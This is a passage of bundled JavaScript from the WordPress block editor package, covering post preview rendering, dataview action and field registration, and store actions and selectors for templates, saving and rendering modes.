    }), !isEmpty && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview.Async, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview, {
        blocks: blocks
      })
    })]
  });
}
function PostPreviewView({
  item
}) {
  const {
    settings,
    template
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getPostType$viewable;
    const {
      canUser,
      getPostType,
      getTemplateId,
      getEntityRecord
    } = unlock(select(external_wp_coreData_namespaceObject.store));
    const canViewTemplate = canUser('read', {
      kind: 'postType',
      name: 'wp_template'
    });
    const _settings = select(store_store).getEditorSettings();
    // @ts-ignore
    const supportsTemplateMode = _settings.supportsTemplateMode;
    const isViewable = (_getPostType$viewable = getPostType(item.type)?.viewable) !== null && _getPostType$viewable !== void 0 ? _getPostType$viewable : false;
    const templateId = supportsTemplateMode && isViewable && canViewTemplate ? getTemplateId(item.type, item.id) : null;
    return {
      settings: _settings,
      template: templateId ? getEntityRecord('postType', 'wp_template', templateId) : undefined
    };
  }, [item.type, item.id]);
  // Wrap everything in a block editor provider to ensure 'styles' that are needed
  // for the previews are synced between the site editor store and the block editor store.
  // Additionally we need to have the `__experimentalBlockPatterns` setting in order to
  // render patterns inside the previews.
  // TODO: Same approach is used in the patterns list and it becomes obvious that some of
  // the block editor settings are needed in context where we don't have the block editor.
  // Explore how we can solve this in a better way.
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditorProvider, {
    post: item,
    settings: settings,
    __unstableTemplate: template,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostPreviewContainer, {
      template: template,
      post: item
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/dataviews/fields/content-preview/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const postPreviewField = {
  type: 'media',
  id: 'content-preview',
  label: (0,external_wp_i18n_namespaceObject.__)('Content preview'),
  render: PostPreviewView,
  enableSorting: false
};
/* harmony default export */ const content_preview = (postPreviewField);

;// ./node_modules/@wordpress/editor/build-module/dataviews/store/private-actions.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */



function registerEntityAction(kind, name, config) {
  return {
    type: 'REGISTER_ENTITY_ACTION',
    kind,
    name,
    config
  };
}
function unregisterEntityAction(kind, name, actionId) {
  return {
    type: 'UNREGISTER_ENTITY_ACTION',
    kind,
    name,
    actionId
  };
}
function registerEntityField(kind, name, config) {
  return {
    type: 'REGISTER_ENTITY_FIELD',
    kind,
    name,
    config
  };
}
function unregisterEntityField(kind, name, fieldId) {
  return {
    type: 'UNREGISTER_ENTITY_FIELD',
    kind,
    name,
    fieldId
  };
}
function setIsReady(kind, name) {
  return {
    type: 'SET_IS_READY',
    kind,
    name
  };
}
const registerPostTypeSchema = postType => async ({
  registry
}) => {
  const isReady = unlock(registry.select(store_store)).isEntityReady('postType', postType);
  if (isReady) {
    return;
  }
  unlock(registry.dispatch(store_store)).setIsReady('postType', postType);
  const postTypeConfig = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getPostType(postType);
  const canCreate = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).canUser('create', {
    kind: 'postType',
    name: postType
  });
  const currentTheme = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getCurrentTheme();
  const actions = [postTypeConfig.viewable ? view_post : undefined, !!postTypeConfig.supports?.revisions ? view_post_revisions : undefined,
  // @ts-ignore
   false ? 0 : undefined, postTypeConfig.slug === 'wp_template_part' && canCreate && currentTheme?.is_block_theme ? duplicate_template_part : undefined, canCreate && postTypeConfig.slug === 'wp_block' ? duplicate_pattern : undefined, postTypeConfig.supports?.title ? rename_post : undefined, postTypeConfig.supports?.['page-attributes'] ? reorder_page : undefined, postTypeConfig.slug === 'wp_block' ? export_pattern : undefined, restore_post, reset_post, delete_post, trash_post, permanently_delete_post].filter(Boolean);
  const fields = [postTypeConfig.supports?.thumbnail && currentTheme?.theme_supports?.['post-thumbnails'] && featured_image, postTypeConfig.supports?.author && author, fields_status, date, slug, postTypeConfig.supports?.['page-attributes'] && fields_parent, postTypeConfig.supports?.comments && comment_status, fields_template, fields_password, postTypeConfig.supports?.editor && postTypeConfig.viewable && content_preview].filter(Boolean);
  if (postTypeConfig.supports?.title) {
    let _titleField;
    if (postType === 'page') {
      _titleField = page_title;
    } else if (postType === 'wp_template') {
      _titleField = template_title;
    } else if (postType === 'wp_block') {
      _titleField = pattern_title;
    } else {
      _titleField = title;
    }
    fields.push(_titleField);
  }
  registry.batch(() => {
    actions.forEach(action => {
      unlock(registry.dispatch(store_store)).registerEntityAction('postType', postType, action);
    });
    fields.forEach(field => {
      unlock(registry.dispatch(store_store)).registerEntityField('postType', postType, field);
    });
  });
  (0,external_wp_hooks_namespaceObject.doAction)('core.registerPostTypeSchema', postType);
};

;// ./node_modules/@wordpress/editor/build-module/store/private-actions.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */



/**
 * Returns an action object used to set which template is currently being used/edited.
 *
 * @param {string} id Template Id.
 *
 * @return {Object} Action object.
 */
function setCurrentTemplateId(id) {
  return {
    type: 'SET_CURRENT_TEMPLATE_ID',
    id
  };
}

/**
 * Create a block based template.
 *
 * @param {?Object} template Template to create and assign.
 */
const createTemplate = template => async ({
  select,
  dispatch,
  registry
}) => {
  const savedTemplate = await registry.dispatch(external_wp_coreData_namespaceObject.store).saveEntityRecord('postType', 'wp_template', template);
  registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', select.getCurrentPostType(), select.getCurrentPostId(), {
    template: savedTemplate.slug
  });
  registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Custom template created. You're in template mode now."), {
    type: 'snackbar',
    actions: [{
      label: (0,external_wp_i18n_namespaceObject.__)('Go back'),
      onClick: () => dispatch.setRenderingMode(select.getEditorSettings().defaultRenderingMode)
    }]
  });
  return savedTemplate;
};

/**
 * Update the provided block types to be visible.
 *
 * @param {string[]} blockNames Names of block types to show.
 */
const showBlockTypes = blockNames => ({
  registry
}) => {
  var _registry$select$get;
  const existingBlockNames = (_registry$select$get = registry.select(external_wp_preferences_namespaceObject.store).get('core', 'hiddenBlockTypes')) !== null && _registry$select$get !== void 0 ? _registry$select$get : [];
  const newBlockNames = existingBlockNames.filter(type => !(Array.isArray(blockNames) ? blockNames : [blockNames]).includes(type));
  registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'hiddenBlockTypes', newBlockNames);
};

/**
 * Update the provided block types to be hidden.
 *
 * @param {string[]} blockNames Names of block types to hide.
 */
const hideBlockTypes = blockNames => ({
  registry
}) => {
  var _registry$select$get2;
  const existingBlockNames = (_registry$select$get2 = registry.select(external_wp_preferences_namespaceObject.store).get('core', 'hiddenBlockTypes')) !== null && _registry$select$get2 !== void 0 ? _registry$select$get2 : [];
  const mergedBlockNames = new Set([...existingBlockNames, ...(Array.isArray(blockNames) ? blockNames : [blockNames])]);
  registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'hiddenBlockTypes', [...mergedBlockNames]);
};

/**
 * Save entity records marked as dirty.
 *
 * @param {Object}   options                      Options for the action.
 * @param {Function} [options.onSave]             Callback when saving happens.
 * @param {object[]} [options.dirtyEntityRecords] Array of dirty entities.
 * @param {object[]} [options.entitiesToSkip]     Array of entities to skip saving.
 * @param {Function} [options.close]              Callback when the actions is called. It should be consolidated with `onSave`.
 */
const saveDirtyEntities = ({
  onSave,
  dirtyEntityRecords = [],
  entitiesToSkip = [],
  close
} = {}) => ({
  registry
}) => {
  const PUBLISH_ON_SAVE_ENTITIES = [{
    kind: 'postType',
    name: 'wp_navigation'
  }];
  const saveNoticeId = 'site-editor-save-success';
  const homeUrl = registry.select(external_wp_coreData_namespaceObject.store).getEntityRecord('root', '__unstableBase')?.home;
  registry.dispatch(external_wp_notices_namespaceObject.store).removeNotice(saveNoticeId);
  const entitiesToSave = dirtyEntityRecords.filter(({
    kind,
    name,
    key,
    property
  }) => {
    return !entitiesToSkip.some(elt => elt.kind === kind && elt.name === name && elt.key === key && elt.property === property);
  });
  close?.(entitiesToSave);
  const siteItemsToSave = [];
  const pendingSavedRecords = [];
  entitiesToSave.forEach(({
    kind,
    name,
    key,
    property
  }) => {
    if ('root' === kind && 'site' === name) {
      siteItemsToSave.push(property);
    } else {
      if (PUBLISH_ON_SAVE_ENTITIES.some(typeToPublish => typeToPublish.kind === kind && typeToPublish.name === name)) {
        registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(kind, name, key, {
          status: 'publish'
        });
      }
      pendingSavedRecords.push(registry.dispatch(external_wp_coreData_namespaceObject.store).saveEditedEntityRecord(kind, name, key));
    }
  });
  if (siteItemsToSave.length) {
    pendingSavedRecords.push(registry.dispatch(external_wp_coreData_namespaceObject.store).__experimentalSaveSpecifiedEntityEdits('root', 'site', undefined, siteItemsToSave));
  }
  registry.dispatch(external_wp_blockEditor_namespaceObject.store).__unstableMarkLastChangeAsPersistent();
  Promise.all(pendingSavedRecords).then(values => {
    return onSave ? onSave(values) : values;
  }).then(values => {
    if (values.some(value => typeof value === 'undefined')) {
      registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice((0,external_wp_i18n_namespaceObject.__)('Saving failed.'));
    } else {
      registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Site updated.'), {
        type: 'snackbar',
        id: saveNoticeId,
        actions: [{
          label: (0,external_wp_i18n_namespaceObject.__)('View site'),
          url: homeUrl
        }]
      });
    }
  }).catch(error => registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(`${(0,external_wp_i18n_namespaceObject.__)('Saving failed.')} ${error}`));
};

/**
 * Reverts a template to its original theme-provided file.
 *
 * @param {Object}  template            The template to revert.
 * @param {Object}  [options]
 * @param {boolean} [options.allowUndo] Whether to allow the user to undo
 *                                      reverting the template. Default true.
 */
const private_actions_revertTemplate = (template, {
  allowUndo = true
} = {}) => async ({
  registry
}) => {
  const noticeId = 'edit-site-template-reverted';
  registry.dispatch(external_wp_notices_namespaceObject.store).removeNotice(noticeId);
  if (!isTemplateRevertable(template)) {
    registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice((0,external_wp_i18n_namespaceObject.__)('This template is not revertable.'), {
      type: 'snackbar'
    });
    return;
  }
  try {
    const templateEntityConfig = registry.select(external_wp_coreData_namespaceObject.store).getEntityConfig('postType', template.type);
    if (!templateEntityConfig) {
      registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice((0,external_wp_i18n_namespaceObject.__)('The editor has encountered an unexpected error. Please reload.'), {
        type: 'snackbar'
      });
      return;
    }
    const fileTemplatePath = (0,external_wp_url_namespaceObject.addQueryArgs)(`${templateEntityConfig.baseURL}/${template.id}`, {
      context: 'edit',
      source: template.origin
    });
    const fileTemplate = await external_wp_apiFetch_default()({
      path: fileTemplatePath
    });
    if (!fileTemplate) {
      registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice((0,external_wp_i18n_namespaceObject.__)('The editor has encountered an unexpected error. Please reload.'), {
        type: 'snackbar'
      });
      return;
    }
    const serializeBlocks = ({
      blocks: blocksForSerialization = []
    }) => (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocksForSerialization);
    const edited = registry.select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord('postType', template.type, template.id);

    // We are fixing up the undo level here to make sure we can undo
    // the revert in the header toolbar correctly.
    registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', template.type, template.id, {
      content: serializeBlocks,
      // Required to make the `undo` behave correctly.
      blocks: edited.blocks,
      // Required to revert the blocks in the editor.
      source: 'custom' // required to avoid turning the editor into a dirty state
    }, {
      undoIgnore: true // Required to merge this edit with the last undo level.
    });
    const blocks = (0,external_wp_blocks_namespaceObject.parse)(fileTemplate?.content?.raw);
    registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', template.type, fileTemplate.id, {
      content: serializeBlocks,
      blocks,
      source: 'theme'
    });
    if (allowUndo) {
      const undoRevert = () => {
        registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', template.type, edited.id, {
          content: serializeBlocks,
          blocks: edited.blocks,
          source: 'custom'
        });
      };
      registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Template reset.'), {
        type: 'snackbar',
        id: noticeId,
        actions: [{
          label: (0,external_wp_i18n_namespaceObject.__)('Undo'),
          onClick: undoRevert
        }]
      });
    }
  } catch (error) {
    const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('Template revert failed. Please reload.');
    registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(errorMessage, {
      type: 'snackbar'
    });
  }
};

/**
 * Action that removes an array of templates, template parts or patterns.
 *
 * @param {Array} items An array of template,template part or pattern objects to remove.
 */
const removeTemplates = items => async ({
  registry
}) => {
  const isResetting = items.every(item => item?.has_theme_file);
  const promiseResult = await Promise.allSettled(items.map(item => {
    return registry.dispatch(external_wp_coreData_namespaceObject.store).deleteEntityRecord('postType', item.type, item.id, {
      force: true
    }, {
      throwOnError: true
    });
  }));

  // If all the promises were fulfilled with success.
  if (promiseResult.every(({
    status
  }) => status === 'fulfilled')) {
    let successMessage;
    if (items.length === 1) {
      // Depending on how the entity was retrieved its title might be
      // an object or simple string.
      let title;
      if (typeof items[0].title === 'string') {
        title = items[0].title;
      } else if (typeof items[0].title?.rendered === 'string') {
        title = items[0].title?.rendered;
      } else if (typeof items[0].title?.raw === 'string') {
        title = items[0].title?.raw;
      }
      successMessage = isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: The template/part's name. */
      (0,external_wp_i18n_namespaceObject.__)('"%s" reset.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The template/part's name. */
      (0,external_wp_i18n_namespaceObject._x)('"%s" deleted.', 'template part'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title));
    } else {
      successMessage = isResetting ? (0,external_wp_i18n_namespaceObject.__)('Items reset.') : (0,external_wp_i18n_namespaceObject.__)('Items deleted.');
    }
    registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice(successMessage, {
      type: 'snackbar',
      id: 'editor-template-deleted-success'
    });
  } else {
    // If there was at lease one failure.
    let errorMessage;
    // If we were trying to delete a single template.
    if (promiseResult.length === 1) {
      if (promiseResult[0].reason?.message) {
        errorMessage = promiseResult[0].reason.message;
      } else {
        errorMessage = isResetting ? (0,external_wp_i18n_namespaceObject.__)('An error occurred while reverting the item.') : (0,external_wp_i18n_namespaceObject.__)('An error occurred while deleting the item.');
      }
      // If we were trying to delete a multiple templates
    } else {
      const errorMessages = new Set();
      const failedPromises = promiseResult.filter(({
        status
      }) => status === 'rejected');
      for (const failedPromise of failedPromises) {
        if (failedPromise.reason?.message) {
          errorMessages.add(failedPromise.reason.message);
        }
      }
      if (errorMessages.size === 0) {
        errorMessage = (0,external_wp_i18n_namespaceObject.__)('An error occurred while deleting the items.');
      } else if (errorMessages.size === 1) {
        errorMessage = isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: an error message */
        (0,external_wp_i18n_namespaceObject.__)('An error occurred while reverting the items: %s'), [...errorMessages][0]) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: an error message */
        (0,external_wp_i18n_namespaceObject.__)('An error occurred while deleting the items: %s'), [...errorMessages][0]);
      } else {
        errorMessage = isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: a list of comma separated error messages */
        (0,external_wp_i18n_namespaceObject.__)('Some errors occurred while reverting the items: %s'), [...errorMessages].join(',')) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: a list of comma separated error messages */
        (0,external_wp_i18n_namespaceObject.__)('Some errors occurred while deleting the items: %s'), [...errorMessages].join(','));
      }
    }
    registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(errorMessage, {
      type: 'snackbar'
    });
  }
};

/**
 * Set the default rendering mode preference for the current post type.
 *
 * @param {string} mode The rendering mode to set as default.
 */
const setDefaultRenderingMode = mode => ({
  select,
  registry
}) => {
  var _registry$select$get$;
  const postType = select.getCurrentPostType();
  const theme = registry.select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.stylesheet;
  const renderingModes = (_registry$select$get$ = registry.select(external_wp_preferences_namespaceObject.store).get('core', 'renderingModes')?.[theme]) !== null && _registry$select$get$ !== void 0 ? _registry$select$get$ : {};
  if (renderingModes[postType] === mode) {
    return;
  }
  const newModes = {
    [theme]: {
      ...renderingModes,
      [postType]: mode
    }
  };
  registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'renderingModes', newModes);
};

// EXTERNAL MODULE: ./node_modules/fast-deep-equal/index.js
var fast_deep_equal = __webpack_require__(5215);
var fast_deep_equal_default = /*#__PURE__*/__webpack_require__.n(fast_deep_equal);
;// ./node_modules/@wordpress/icons/build-module/library/navigation.js
/**
 * WordPress dependencies
 */


const navigation = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z"
  })
});
/* harmony default export */ const library_navigation = (navigation);

;// ./node_modules/@wordpress/icons/build-module/library/verse.js
/**
 * WordPress dependencies
 */


const verse = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z"
  })
});
/* harmony default export */ const library_verse = (verse);

;// ./node_modules/@wordpress/editor/build-module/dataviews/store/private-selectors.js
/**
 * Internal dependencies
 */

const private_selectors_EMPTY_ARRAY = [];
function getEntityActions(state, kind, name) {
  var _state$actions$kind$n;
  return (_state$actions$kind$n = state.actions[kind]?.[name]) !== null && _state$actions$kind$n !== void 0 ? _state$actions$kind$n : private_selectors_EMPTY_ARRAY;
}
function getEntityFields(state, kind, name) {
  var _state$fields$kind$na;
  return (_state$fields$kind$na = state.fields[kind]?.[name]) !== null && _state$fields$kind$na !== void 0 ? _state$fields$kind$na : private_selectors_EMPTY_ARRAY;
}
function isEntityReady(state, kind, name) {
  return state.isReady[kind]?.[name];
}

;// ./node_modules/@wordpress/editor/build-module/store/private-selectors.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



const EMPTY_INSERTION_POINT = {
  rootClientId: undefined,
  insertionIndex: undefined,
  filterValue: undefined
};

/**
 * These are rendering modes that the editor supports.
 */
const RENDERING_MODES = ['post-only', 'template-locked'];

/**
 * Get the inserter.
 *
 * @param {Object} state Global application state.
 *
 * @return {Object} The root client ID, index to insert at and starting filter value.
 */
const getInserter = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)(state => {
  if (typeof state.blockInserterPanel === 'object') {
    return state.blockInserterPanel;
  }
  if (getRenderingMode(state) === 'template-locked') {
    const [postContentClientId] = select(external_wp_blockEditor_namespaceObject.store).getBlocksByName('core/post-content');
    if (postContentClientId) {
      return {
        rootClientId: postContentClientId,
        insertionIndex: undefined,
        filterValue: undefined
      };
    }
  }
  return EMPTY_INSERTION_POINT;
}, state => {
  const [postContentClientId] = select(external_wp_blockEditor_namespaceObject.store).getBlocksByName('core/post-content');
  return [state.blockInserterPanel, getRenderingMode(state), postContentClientId];
}));
function getListViewToggleRef(state) {
  return state.listViewToggleRef;
}
function getInserterSidebarToggleRef(state) {
  return state.inserterSidebarToggleRef;
}
const CARD_ICONS = {
  wp_block: library_symbol,
  wp_navigation: library_navigation,
  page: library_page,
  post: library_verse
};
const getPostIcon = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, postType, options) => {
  {
    if (postType === 'wp_template_part' || postType === 'wp_template') {
      const templateAreas = select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [];
      const areaData = templateAreas.find(item => options.area === item.area);
      if (areaData?.icon) {
        return getTemplatePartIcon(areaData.icon);
      }
      return library_layout;
    }
    if (CARD_ICONS[postType]) {
      return CARD_ICONS[postType];
    }
    const postTypeEntity = select(external_wp_coreData_namespaceObject.store).getPostType(postType);
    // `icon` is the `menu_icon` property of a post type. We
    // only handle `dashicons` for now, even if the `menu_icon`
    // also supports urls and svg as values.
    if (typeof postTypeEntity?.icon === 'string' && postTypeEntity.icon.startsWith('dashicons-')) {
      return postTypeEntity.icon.slice(10);
    }
    return library_page;
  }
});

/**
 * Returns true if there are unsaved changes to the
 * post's meta fields, and false otherwise.
 *
 * @param {Object} state    Global application state.
 * @param {string} postType The post type of the post.
 * @param {number} postId   The ID of the post.
 *
 * @return {boolean} Whether there are edits or not in the meta fields of the relevant post.
 */
const hasPostMetaChanges = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, postType, postId) => {
  const {
    type: currentPostType,
    id: currentPostId
  } = getCurrentPost(state);
  // If no postType or postId is passed, use the current post.
  const edits = select(external_wp_coreData_namespaceObject.store).getEntityRecordNonTransientEdits('postType', postType || currentPostType, postId || currentPostId);
  if (!edits?.meta) {
    return false;
  }

  // Compare if anything apart from `footnotes` has changed.
  const originalPostMeta = select(external_wp_coreData_namespaceObject.store).getEntityRecord('postType', postType || currentPostType, postId || currentPostId)?.meta;
  return !fast_deep_equal_default()({
    ...originalPostMeta,
    footnotes: undefined
  }, {
    ...edits.meta,
    footnotes: undefined
  });
});
function private_selectors_getEntityActions(state, ...args) {
  return getEntityActions(state.dataviews, ...args);
}
function private_selectors_isEntityReady(state, ...args) {
  return isEntityReady(state.dataviews, ...args);
}
function private_selectors_getEntityFields(state, ...args) {
  return getEntityFields(state.dataviews, ...args);
}

/**
 * Similar to getBlocksByName in @wordpress/block-editor, but only returns the top-most
 * blocks that aren't descendants of the query block.
 *
 * @param {Object}       state      Global application state.
 * @param {Array|string} blockNames Block names of the blocks to retrieve.
 *
 * @return {Array} Block client IDs.
 */
const getPostBlocksByName = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)((state, blockNames) => {
  blockNames = Array.isArray(blockNames) ? blockNames : [blockNames];
  const {
    getBlocksByName,
    getBlockParents,
    getBlockName
  } = select(external_wp_blockEditor_namespaceObject.store);
  return getBlocksByName(blockNames).filter(clientId => getBlockParents(clientId).every(parentClientId => {
    const parentBlockName = getBlockName(parentClientId);
    return (
      // Ignore descendents of the query block.
      parentBlockName !== 'core/query' &&
      // Enable only the top-most block.
      !blockNames.includes(parentBlockName)
    );
  }));
}, () => [select(external_wp_blockEditor_namespaceObject.store).getBlocks()]));

/**
 * Returns the default rendering mode for a post type by user preference or post type configuration.
 *
 * @param {Object} state    Global application state.
 * @param {string} postType The post type.
 *
 * @return {string} The default rendering mode. Returns `undefined` while resolving value.
 */
const getDefaultRenderingMode = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, postType) => {
  const {
    getPostType,
    getCurrentTheme,
    hasFinishedResolution
  } = select(external_wp_coreData_namespaceObject.store);

  // This needs to be called before `hasFinishedResolution`.
  // eslint-disable-next-line @wordpress/no-unused-vars-before-return
  const currentTheme = getCurrentTheme();
  // eslint-disable-next-line @wordpress/no-unused-vars-before-return
  const postTypeEntity = getPostType(postType);

  // Wait for the post type and theme resolution.
  if (!hasFinishedResolution('getPostType', [postType]) || !hasFinishedResolution('getCurrentTheme')) {
    return undefined;
  }
  const theme = currentTheme?.stylesheet;
  const defaultModePreference = select(external_wp_preferences_namespaceObject.store).get('core', 'renderingModes')?.[theme]?.[postType];
  const postTypeDefaultMode = Array.isArray(postTypeEntity?.supports?.editor) ? postTypeEntity.supports.editor.find(features => 'default-mode' in features)?.['default-mode'] : undefined;
  const defaultMode = defaultModePreference || postTypeDefaultMode;

  // Fallback gracefully to 'post-only' when rendering mode is not supported.
  if (!RENDERING_MODES.includes(defaultMode)) {
    return 'post-only';
  }
  return defaultMode;
});

;// ./node_modules/@wordpress/editor/build-module/store/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */








/**
 * Post editor data store configuration.
 *
 * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#registerStore
 */
const storeConfig = {
  reducer: store_reducer,
  selectors: selectors_namespaceObject,
  actions: actions_namespaceObject
};

/**
 * Store definition for the editor namespace.
 *
 * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore
 */
const store_store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
  ...storeConfig
});
(0,external_wp_data_namespaceObject.register)(store_store);
unlock(store_store).registerPrivateActions(store_private_actions_namespaceObject);
unlock(store_store).registerPrivateSelectors(store_private_selectors_namespaceObject);

;// ./node_modules/@wordpress/editor/build-module/hooks/custom-sources-backwards-compatibility.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */


/** @typedef {import('@wordpress/compose').WPHigherOrderComponent} WPHigherOrderComponent */
/** @typedef {import('@wordpress/blocks').WPBlockSettings} WPBlockSettings */

/**
 * Object whose keys are the names of block attributes, where each value
 * represents the meta key to which the block attribute is intended to save.
 *
 * @see https://developer.wordpress.org/reference/functions/register_meta/
 *
 * @typedef {Object<string,string>} WPMetaAttributeMapping
 */

/**
 * Given a mapping of attribute names (meta source attributes) to their
 * associated meta key, returns a higher order component that overrides its
 * `attributes` and `setAttributes` props to sync any changes with the edited
 * post's meta keys.
 *
 * @param {WPMetaAttributeMapping} metaAttributes Meta attribute mapping.
 *
 * @return {WPHigherOrderComponent} Higher-order component.
 */

const createWithMetaAttributeSource = metaAttributes => (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(BlockEdit => ({
  attributes,
  setAttributes,
  ...props
}) => {
  const postType = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getCurrentPostType(), []);
  const [meta, setMeta] = (0,external_wp_coreData_namespaceObject.useEntityProp)('postType', postType, 'meta');
  const mergedAttributes = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    ...attributes,
    ...Object.fromEntries(Object.entries(metaAttributes).map(([attributeKey, metaKey]) => [attributeKey, meta[metaKey]]))
  }), [attributes, meta]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, {
    attributes: mergedAttributes,
    setAttributes: nextAttributes => {
      const nextMeta = Object.fromEntries(Object.entries(nextAttributes !== null && nextAttributes !== void 0 ? nextAttributes : {}).filter(
      // Filter to intersection of keys between the updated
      // attributes and those with an associated meta key.
      ([key]) => key in metaAttributes).map(([attributeKey, value]) => [
      // Rename the keys to the expected meta key name.
      metaAttributes[attributeKey], value]));
      if (Object.entries(nextMeta).length) {
        setMeta(nextMeta);
      }
      setAttributes(nextAttributes);
    },
    ...props
  });
}, 'withMetaAttributeSource');

/**
 * Filters a registered block's settings to enhance a block's `edit` component
 * to upgrade meta-sourced attributes to use the post's meta entity property.
 *
 * @param {WPBlockSettings} settings Registered block settings.
 *
 * @return {WPBlockSettings} Filtered block settings.
 */
function shimAttributeSource(settings) {
  var _settings$attributes;
  /** @type {WPMetaAttributeMapping} */
  const metaAttributes = Object.fromEntries(Object.entries((_settings$attributes = settings.attributes) !== null && _settings$attributes !== void 0 ? _settings$attributes : {}).filter(([, {
    source
  }]) => source === 'meta').map(([attributeKey, {
    meta
  }]) => [attributeKey, meta]));
  if (Object.entries(metaAttributes).length) {
    settings.edit = createWithMetaAttributeSource(metaAttributes)(settings.edit);
  }
  return settings;
}
(0,external_wp_hooks_namespaceObject.addFilter)('blocks.registerBlockType', 'core/editor/custom-sources-backwards-compatibility/shim-attribute-source', shimAttributeSource);

;// ./node_modules/@wordpress/editor/build-module/components/autocompleters/user.js
/**
 * WordPress dependencies
 */




function getUserLabel(user) {
  const avatar = user.avatar_urls && user.avatar_urls[24] ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
    className: "editor-autocompleters__user-avatar",
